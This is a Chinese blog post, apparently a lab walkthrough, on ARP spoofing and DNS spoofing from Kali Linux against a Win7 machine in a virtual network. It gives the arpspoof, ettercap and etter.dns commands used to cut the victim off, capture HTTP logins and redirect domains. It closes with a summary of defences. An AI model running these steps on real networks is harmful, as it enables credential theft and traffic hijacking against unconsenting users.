arp欺骗(http)与dns欺骗

该文详细描述了如何在KaliLinux环境下执行ARP欺骗,导致Win7主机断网,并使用dsniff和ettercap工具拦截网络流量,获取HTTP通信中的敏感信息。此外,还介绍了DNS欺骗的过程,通过修改ettercap的etter.dns文件,将特定域名指向本地IP,实现DNS劫持。
摘要由CSDN通过智能技术生成

Arp欺骗

win7:

   ip:192.168.127.147

   mac:00-0C-29-4F-1C-36

kali:

   ip:192.168.127.133

   mac:00:0c:29:4c:4d:92

arp -a  获取网关

网关:ip:192.168.127.0     mac:00-0c-29-4c-4d-92

fping -g 192.168.127.0/24

192.168.127.133 is alive

192.168.127.147 is alive

安装dsniff

更改sources.list源,apt-get update更新数据源列表

 

更改网关192.168.127.0 mac地址,使192.168.127.147主机形成断网

arpspoof -i eth0 -t 192.168.127.147 192.168.127.0

 

在win7上使用arp -a 查询发现192.168.127.0主机mac地址已更改

 

在win7上使用ping命令发现还有网络流量

继续断网,拦截192.168.127.254网络

arpspoof -i eth0 -t 192.168.127.147 192.168.127.254

 

使用arp -a查询ip对应物理地址

在win7使用ping命令发现网络已断开

 

流量转发

 

Win7可正常使用ping命令

使用图片捕获工具driftnet

使用ettercap工具劫持流量获取win7系统访问http网站输入的用户名密码等信息

ettercap -Tq -i eth0

在win7访问http网站输入用户名密码验证码之后点击确认,发现在kali上可以获取到这些信息

DNS欺骗

vi /etc/Ettercap/etter.dns,在文件增加*.com A 192.168.127.133

执行ettercap -G

首先点击‘对号’

将网关地址192.168.127.0加入Target1,将目标地址192.168.127.147加入target2

点击如下图1,2,进行arp欺骗

 

在win7上执行arp -a可查看到网关物理地址已修改

 

然后按下图顺序点击1,2,3,4进行dns欺骗

 

在win7执行 ping www.baidu.com,发现地址已修改为192.168.127.133,dns欺骗完成

 

ARP欺骗(Address Resolution Protocol Spoofing)和DNS欺骗(Domain Name System Spoofing)都是网络安全领域中的攻击手段。 1. ARP欺骗ARP是一种用于将IP地址映射到物理MAC地址的协议。ARP欺骗是指攻击者通过发送伪造的ARP响应包来欺骗网络中的其他设备,使其将数据发送到错误的目标设备上。攻击者可以通过ARP欺骗来进行中间人攻击,窃取网络通信数据或者进行其他恶意行为。 解决ARP欺骗的方法包括: - 使用静态ARP表:手动配置每个设备的IP地址和对应的MAC地址,这样可以防止ARP欺骗攻击。 - 使用ARP防火墙:在网络中设置ARP防火墙,检测并阻止异常的ARP请求和响应。 - 使用网络流量监测工具:监测网络流量,及时发现并阻止异常的ARP请求和响应。 2. DNS欺骗DNS是将域名解析为IP地址的协议。DNS欺骗是指攻击者通过篡改DNS响应包来欺骗用户设备将域名解析到错误的IP地址上。攻击者可以通过DNS欺骗来进行钓鱼攻击、重定向用户流量或者进行其他恶意行为。 解决DNS欺骗的方法包括: - 使用可信的DNS服务器:使用经过验证的、可信任的DNS服务器,避免受到DNS欺骗攻击。 - 使用DNSSEC(DNS Security Extensions):DNSSEC是一种对DNS进行数字签名的安全扩展,可以防止DNS响应被篡改。 - 定期更新操作系统和应用程序:及时更新操作系统和应用程序,修复可能存在的漏洞,减少受到DNS欺骗攻击的风险。 希望以上信息对您有所帮助。如果您有其他问题,请随时提问。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值